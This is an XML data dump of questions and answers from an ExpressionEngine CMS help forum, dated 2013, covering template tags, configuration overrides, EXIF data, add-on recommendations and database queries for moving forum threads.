  <row Id="8849" PostTypeId="2" ParentId="8848" CreationDate="2013-03-29T19:20:13.070" Score="2" Body="&lt;p&gt;You need &lt;code&gt;{order_qty}&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;&#xA;    {if no_items}Your cart is empty.{/if}&#xA;&#xA;    You have {order_qty} item(s) in the cart.&#xA;&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="150" LastEditDate="2013-03-30T07:04:09.480" LastActivityDate="2013-03-30T07:04:09.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8850" PostTypeId="1" CreationDate="2013-03-29T19:27:24.327" Score="2" ViewCount="3181" Body="&lt;p&gt;I'm upgrading a multi-language site from EE1 to EE2, and it's using &lt;a href=&quot;http://www.slideshare.net/vinnyio/multilanguage-websites-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;the technique&lt;/a&gt; of duplicating &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;path.php&lt;/code&gt; inside subdirectories named for each language, and defining global language variables inside &lt;code&gt;path.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I upgraded the site to EE2, ditched the &lt;code&gt;path.php&lt;/code&gt; files from the subdirectories, updated the &lt;code&gt;index.php&lt;/code&gt; files to the new EE2 versions, and added these configuration variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_url'] = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://' . $_SERVER['HTTP_HOST'] . '/en/';&#xA;&#xA;$assign_to_config['global_vars'] = array(&#xA;    'country_code' =&amp;gt; 'en',&#xA;    'language' =&amp;gt; 'english'&#xA;);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The global variables seem to be working, but &lt;code&gt;site_url&lt;/code&gt; is not. I tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$config['site_url'] = '...'&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$site_url = '...'&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm also using Focus Lab Master Config, and I made sure to comment out the &lt;code&gt;$env_config['site_url']&lt;/code&gt; variable inside &lt;code&gt;config.master.php&lt;/code&gt;. I also double-checked that it's not being defined inside &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; The &lt;code&gt;site_url&lt;/code&gt; global variable works when used in templates, but it isn't applied in the control panel, in &lt;em&gt;Admin &gt; General Configuration&lt;/em&gt;, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using FocusLab Master Config, and assigning &lt;code&gt;site_url&lt;/code&gt; from within &lt;code&gt;config.master.php&lt;/code&gt; does update the control panel. So there must be something getting in the way somewhere between &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;config.master.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-04-08T21:32:13.127" LastActivityDate="2013-04-08T21:32:13.127" Title="Set &quot;site_url&quot; Config Variable in index.php" Tags="|ee2-upgrades|focus-lab-master-config|config-overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8851" PostTypeId="2" ParentId="8839" CreationDate="2013-03-29T19:34:21.437" Score="0" Body="&lt;p&gt;The forums module is a very different beast. If you're using regular EE templates however then it should work. If you're not seeing any EXIF data output using VZ Exif then make sure you have &lt;a href=&quot;http://php.net/manual/de/book.exif.php&quot; rel=&quot;nofollow&quot;&gt;PHP EXIF extension&lt;/a&gt; installed. Run phpinfo() and search for 'exif'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also ensure that EXIF data is actually attached to your image files. Run a standard test in regular templates first to be sure.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-29T19:34:21.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8852" PostTypeId="2" ParentId="8850" CreationDate="2013-03-29T20:07:47.633" Score="2" Body="&lt;p&gt;Does it work when you hard code the site URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_url'] = getenv('HTTP_HOST');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have you ensured your system path has been altered in index.php?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../system';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the extra leading dot.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-29T20:07:47.633" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8853" PostTypeId="2" ParentId="8812" CreationDate="2013-03-30T07:55:08.667" Score="1" Body="&lt;p&gt;This appears to be a bug in Store introduced by newer versions of EE and/or SafeCracker. We will have a fix out for it shortly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, you can fix it yourself fairly easily by opening &lt;code&gt;ft.store.php&lt;/code&gt;, and around line 37, replace this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_js_script(array('ui' =&amp;gt; 'datepicker'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_js_script(array('ui' =&amp;gt; array('datepicker', 'sortable')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will tell SafeCracker that it needs to load the jQuery UI Sortable library, which is included by default in the EE control panel (hence why it is working fine for you in the CP).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-30T07:55:08.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8854" PostTypeId="1" CreationDate="2013-03-30T13:28:54.580" Score="0" ViewCount="107" Body="&lt;p&gt;im trying to do something with Exif infos but using the {attach_image_url} isnt the right path, because ExpressionEngine generates something else than actual file name and location to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what i need, and hope to find out, is that what is the variable that could parse out the real url for the image attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone, ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to get exif data out with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;$image_file = '{path:image_url}';&#xA;$image_type='';&#xA;&#xA;$tab=str_repeat('&amp;amp;nbsp;',12);&#xA;if(file_exists($image_file)){&#xA;$details=exif_read_data($image_file);&#xA;foreach($details as $key=&amp;gt;$val){&#xA;echo $key.' = '.$val.'&amp;lt;br/&amp;gt;';&#xA;if(is_array($val)){&#xA;foreach($val as $key2=&amp;gt;$val2){&#xA;echo &quot;&amp;lt;span style=\&quot;margin-left:30px;\&quot;&amp;gt;&quot;.$key2.' = '.$val2.'&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;'; &#xA;}&#xA;}&#xA;}&#xA;}else{&#xA;echo 'File does not exists'; &#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesnt find the image attached. I would be glad if someone could provide a way to get the real path to actual image attached, cos I cant find any kind of documentation of it anywhere. thanks.&lt;/p&gt;&#xA;" OwnerUserId="1242" LastEditorUserId="55" LastEditDate="2014-04-10T18:58:58.267" LastActivityDate="2014-04-10T18:58:58.267" Title="Forum attachment real path, anyone knows?" Tags="|ee2|image|forum|attachment|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8855" PostTypeId="1" CreationDate="2013-03-30T13:50:07.167" Score="1" ViewCount="271" Body="&lt;p&gt;I am looking for a module that allows me to integrate a simple chat / shout box for the members of my EE site - Any suggestions apart from writing it myself?&lt;/p&gt;&#xA;" OwnerUserId="455" LastActivityDate="2013-03-30T15:09:27.303" Title="Member Chat Module?" Tags="|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8856" PostTypeId="2" ParentId="8841" CreationDate="2013-03-30T13:50:10.433" Score="1" Body="&lt;p&gt;There are several ways you could go about it really. The simplest would probably be to try a relatively new (and experimental) parameter in the car_items_info tag which filters the results based on a custom field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info search:field_name=&quot;value&quot;}&#xA;    ...&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;field_name&lt;/code&gt; is the name of your custom field and &lt;code&gt;value&lt;/code&gt; is the search criteria. I don't know what you have in your Channel Fields but there may be something you can hook on to there. Just remember that this is still under development and may not be 100% reliable just yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if you say you already have Stash installed then that will happily do the job:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Loop through the cart contents --}&#xA;{exp:cartthrob:cart_items_info}&#xA;    {exp:stash:set parse_tags=&quot;yes&quot;}&#xA;        {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;            {!-- Grab the Channel Name as the handle &amp;amp; set the variable --}&#xA;            {stash:channel}{channel_name}{/stash:channel}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set}&#xA;{/exp:cartthrob:cart_items_info}&#xA;&#xA;{!-- Later on in the template, outside of the Cartthrob cart_items_info tags --}&#xA;{if &quot;{exp:stash:get name='channel'}&quot; == 'event_channel_name' }&#xA;    It's an event!&#xA;{/if}&#xA;&#xA;{!-- Or with Switchee --}&#xA;{switchee variable=&quot;{exp:stash:get name='channel'}&quot;}&#xA;    {case value=&quot;event&quot;}{!-- There is an event, look it up and show results --}&#xA;        It's an event!&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;} {!-- If no event exists then add generic upsell snippet --}&#xA;        It's NOT an event&#xA;    {/case}&#xA;{/switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your example code you have another inner Stash tag where you're pulling stuff in so you'd need to compensate for that but I'm giving the breakdown on how it can be implemented. The inner details you'll need to sort out as I don't know the Channel Fields or the rest of your template data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-30T13:50:10.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8857" PostTypeId="2" ParentId="8854" CreationDate="2013-03-30T13:57:25.840" Score="1" Body="&lt;p&gt;If it's for the forum module then you'll probably need &lt;code&gt;{path:image_url}&lt;/code&gt;. Give that a try.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-30T13:57:25.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8858" PostTypeId="2" ParentId="8855" CreationDate="2013-03-30T14:04:26.463" Score="3" Body="&lt;p&gt;You could try &lt;a href=&quot;http://www.cometchat.com/expressionengine-chat&quot; rel=&quot;nofollow&quot;&gt;Cometchat&lt;/a&gt;. That's EE ready and you can either integrate it yourself or get them to do it for you. I've heard there are a few EE users successfully using this.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-30T14:04:26.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8859" PostTypeId="2" ParentId="8855" CreationDate="2013-03-30T15:09:27.303" Score="0" Body="&lt;p&gt;I just installed Cometchat and it works great. I use the basic version so far, but it still can be adjusted, so that you can allow only logged in members to chat and create rooms, send files in one-2-one chat etc. Very usefull, even the basic version that costs only 49 dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AND, if you run issues like i did, just check the paths, and if no success, contact InScripts and they will for sure, help you out. (i did write to their facebook wall, and it took only 24 hours and all was running 110%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only downside there is, you have to manually (or some cronjob) clear chatrooms and other chat history, maybe they bring out more functions later? (Or maybe there is already in other versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as far, i find it usefull (Cometchat) for users to take rapid chats on what ever is hot on forums/site. Saves a lot of non relevant post replies etc. if your members just are active enough to use chat also. &lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-03-30T15:09:27.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8860" PostTypeId="2" ParentId="6715" CreationDate="2013-03-30T16:49:25.700" Score="2" Body="&lt;p&gt;It's not supported out of the box, but if you change the SQL query that the plugin uses, it should work with a custom date field (not taking DST into account, tho):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look up this in pi.low_yearly_archives.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT&#xA;        CONCAT(t.year,t.month) AS ym,&#xA;        COUNT(*) AS num_entries&#xA;    FROM&#xA;        exp_channel_titles t&#xA;    INNER JOIN&#xA;        exp_channels w&#xA;    ON&#xA;        t.channel_id = w.channel_id&#xA;        {$sql_cat_join}&#xA;    WHERE&#xA;        w.site_id = '{$sql_site_id}'&#xA;        {$sql_category}&#xA;        {$sql_expired}&#xA;        {$sql_future}&#xA;        {$sql_status}&#xA;        {$sql_channel}&#xA;        {$sql_author}&#xA;    GROUP BY&#xA;        ym&#xA;    ORDER BY&#xA;        ym ASC&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And change that to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT&#xA;        FROM_UNIXTIME(d.field_id_XX, '%Y%m') AS ym,&#xA;        COUNT(*) AS num_entries&#xA;    FROM&#xA;        exp_channel_titles t&#xA;    INNER JOIN&#xA;        exp_channels w&#xA;    ON&#xA;        t.channel_id = w.channel_id&#xA;    INNER JOIN&#xA;        exp_channel_data d&#xA;    ON&#xA;        t.entry_id = d.entry_id&#xA;        {$sql_cat_join}&#xA;    WHERE&#xA;        w.site_id = '{$sql_site_id}'&#xA;        {$sql_category}&#xA;        {$sql_expired}&#xA;        {$sql_future}&#xA;        {$sql_status}&#xA;        {$sql_channel}&#xA;        {$sql_author}&#xA;    GROUP BY&#xA;        ym&#xA;    ORDER BY&#xA;        ym ASC&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;field_id_XX&lt;/code&gt; should be changed to whatever the actual field ID is.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-03-30T16:49:25.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8861" PostTypeId="1" AcceptedAnswerId="8862" CreationDate="2013-03-30T17:14:20.637" Score="1" ViewCount="119" Body="&lt;p&gt;How do you limit the amount of results on the...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:search:search_results}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;tag pair. I can see nothing in the EE documentation?&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-03-30T18:07:24.360" Title="Search Results Tag Pair - Limiting Results" Tags="|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8862" PostTypeId="2" ParentId="8861" CreationDate="2013-03-30T18:05:14.020" Score="1" Body="&lt;p&gt;Search module results are controlled not via the &lt;code&gt;search_results&lt;/code&gt; tag, but via the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#results&quot; rel=&quot;nofollow&quot;&gt;&quot;results&quot; parameter on the search form&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-30T18:05:14.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8863" PostTypeId="2" ParentId="8861" CreationDate="2013-03-30T18:07:24.360" Score="2" Body="&lt;p&gt;The Simple Search module is rather...erm...simple, so the options are limited but you can use the results parameter on the search_form tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form &#xA;    channel=&quot;my_channel&quot; &#xA;    status=&quot;open&quot;&#xA;    results=&quot;10&quot;&#xA;    result_page=&quot;search/results&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will limit the results to 10 per page for example but you can then just leave off the pagination (so no more pages are visible) and you'll have your 10 results only.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-30T18:07:24.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8865" PostTypeId="1" CreationDate="2013-03-30T20:22:30.277" Score="1" ViewCount="48" Body="&lt;p&gt;There is no way to native movement of forum posts from board 1 to board 2. Has someone came up in any kind of solution for to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm about to close one of my forums, and was wondering that do EE itself have now-a-days some tools to make that work, or is it possible to do via phpmyadmin or such?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-03-31T06:04:09.420" Title="Moving threads from forum to another" Tags="|ee2|module|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8866" PostTypeId="1" CreationDate="2013-03-30T21:50:59.590" Score="1" ViewCount="192" Body="&lt;p&gt;I have just updated a site to Assets 2.0.5. When I update the indexes, I get a list of files with the heading &quot;There are some entries in the database that are out of date&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does that mean and how safe is it to delete these files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coincidentally, after the update, I can no longer get EE image manipulations - I just get blanks where the images are supposed to be - no error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;catalogue&quot; status=&quot;open|closed&quot;}  &#xA;&#xA;  {product}  &#xA;&#xA; &amp;lt;a href=&quot;{path='catalogue/products/{entry_id}'}&quot;&amp;gt;  &#xA;&#xA; &amp;lt;img src=&quot;{images:catalogue}&quot; alt=&quot;{title}&quot; title=&quot;&amp;amp;copy;&amp;amp;nbsp;Design by MaJools&quot; /&amp;gt;  &#xA;&#xA; &amp;lt;/a&amp;gt;{spiel}  &#xA;&#xA;  {/product}  &#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{product} is a matrix field type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{images:catalogue}, where  images is the assets field type and catalogue is the EE manipulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just use {images} I get the image un-manipulated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked well before the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="116" LastEditDate="2013-03-31T06:07:05.103" LastActivityDate="2013-09-28T16:50:21.517" Title="Assets not recognising image manipulations after upgrade to 2.0.5" Tags="|assets|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8867" PostTypeId="1" CreationDate="2013-03-30T22:32:00.050" Score="1" ViewCount="175" Body="&lt;p&gt;I have a Matrix field that I am using for an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 5 columns in total&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address 1 - Text&#xA;Address 2 - Text&#xA;City - Text&#xA;County - P&amp;amp;T Dropdown&#xA;Postal Code - Text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have City and County marked as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now using the standard short field name in Safecracker will not output the fields how I want them formatted, so I am breaking them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following when it comes to address one...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;address[row_order][]&quot; value=&quot;row_new_0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; class=&quot;span8&quot; name=&quot;address[row_new_0][col_id_4]&quot; /&amp;gt;&#xA;&amp;lt;span class=&quot;help-block&quot;&amp;gt;Address (first line)&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine for all the text fields, but I am not sure about how the best way to display the P&amp;amp;T dropdown field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a P&amp;amp;T dropdown, as it allows me to utilise option groups, which I am using like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;England&#xA; -county 1&#xA; -county 2&#xA; -etc&#xA;Scotland&#xA; - and so on...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the only way I have found to output this in safecracker, is to write out every option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select class=&quot;span6&quot; name=&quot;address[row_new_0][col_id_6]&quot;&amp;gt;&#xA;&#xA;&amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;Select your county&amp;lt;/option&amp;gt;&#xA;&amp;lt;optgroup label=&quot;England&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;Avon&quot;&amp;gt;Avon&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;Bedfordshire&quot;&amp;gt;Bedfordshire&amp;lt;/option&amp;gt;&#xA;&#xA;...&#xA;&#xA;&amp;lt;/optgroup&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with this is that it does not seem to validate. If I leave the select unchanged, it doesn't throw up the &quot;required&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another issue is that if I do complete the required fields, but make other errors on the form, when submitted, it does not remember the values I entered. Presumably this is due to it not have a &lt;code&gt;value=&quot;something&quot;&lt;/code&gt; - but I am not sure what 'something' should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated! &lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-01T13:17:48.860" Title="Matrix field customised in Safecracker" Tags="|safecracker|matrix|pt-dropdown|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8868" PostTypeId="1" CreationDate="2013-03-30T23:48:10.777" Score="1" ViewCount="119" Body="&lt;p&gt;Is it possible to set the category id in a channel entries tag based on the last segment or by another method so that I don't have to create multiple templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get this template to fly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_layouts/index&quot;}&#xA;&#xA;{exp:stash:append name=&quot;listings&quot;}&#xA;        &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;whead&quot;&amp;gt;&amp;lt;h6&amp;gt;Listings&amp;lt;/h6&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;shownpars&quot;&amp;gt;&#xA;                &amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; border=&quot;0&quot; class=&quot;dTable&quot;&amp;gt;&#xA;                    &amp;lt;thead&amp;gt;&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Name&amp;lt;span class=&quot;sorting&quot; style=&quot;display: block;&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Location&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Phone&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Email&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;/thead&amp;gt;&#xA;                    &amp;lt;tbody&amp;gt;&#xA;                        {exp:channel:entries channel=&quot;members&quot; category=&quot;{category_id}&quot; status=&quot;Open&quot; limit=&quot;100&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot;}&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{member_location}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{member_phone}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td class=&quot;center&quot;&amp;gt;{member_email}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                        {/exp:channel:entries}&#xA;                    &amp;lt;/tbody&amp;gt;&#xA;                &amp;lt;/table&amp;gt; &#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;   &#xA;{/exp:stash:append}&#xA;&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;    {exp:stash:get name=&quot;listings&quot;}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1267" LastActivityDate="2013-03-31T01:06:50.077" Title="Stash and Categories" Tags="|categories|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8869" PostTypeId="2" ParentId="8868" CreationDate="2013-03-31T01:06:50.077" Score="3" Body="&lt;p&gt;If your url contains the proper category you can use Low's seg2cat plugin to grab the id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;{segment_xx_category_id}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afk from pc, you may have to tweak parse order but I've used this plugin to great affect many times for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-03-31T01:06:50.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8870" PostTypeId="2" ParentId="8865" CreationDate="2013-03-31T06:04:09.420" Score="1" Body="&lt;p&gt;You could do it with a query on the database (you could use phpMyAdmin although a dedicated MySQL tool would be better), e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_forum_topics&#xA;SET board_id = X&#xA;WHERE board_id = y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd need to do the same for exp_forum_posts too.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-31T06:04:09.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8871" PostTypeId="1" AcceptedAnswerId="8873" CreationDate="2013-03-31T17:33:13.017" Score="1" ViewCount="225" Body="&lt;p&gt;Ok, as all knows, there is issues with the last visit-info. That has been there long time, but now i have monitored the real-time statistics also. And what i found, that there is something in that also. Site says that it has about 50-60% more current visitors than Google Analytics. So that make me wonder, how i can trust to any of these infos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what all you have to do, that system itself stops from tracking visitors and such? I just dont find this feature reliable anymore since logs doesnt match at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In simple: is or isnt there a way to totally stop tracking? It might and will also speed up the site if i just can stop all activity when it comes to tracking, and i dont find it nice either to tell wrong infos to members when they access to site that says &quot;56 users logged in&quot; but the real number is more like 8....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas that you might have.&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-03-31T19:05:34.037" Title="About the visitor statictics that ExpressionEngine gives" Tags="|members|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8872" PostTypeId="2" ParentId="8839" CreationDate="2013-03-31T19:03:01.023" Score="0" Body="&lt;p&gt;OK, because ExpressionEngine Forum Module does not give out the actual attachment location in url, you can not use this within Forums, even if they run via regular templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to make the add-on work in forums, you have to find out a way to get the actual path and name for attached image, something like /forum_attacments/testimage.jpg&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-03-31T19:03:01.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
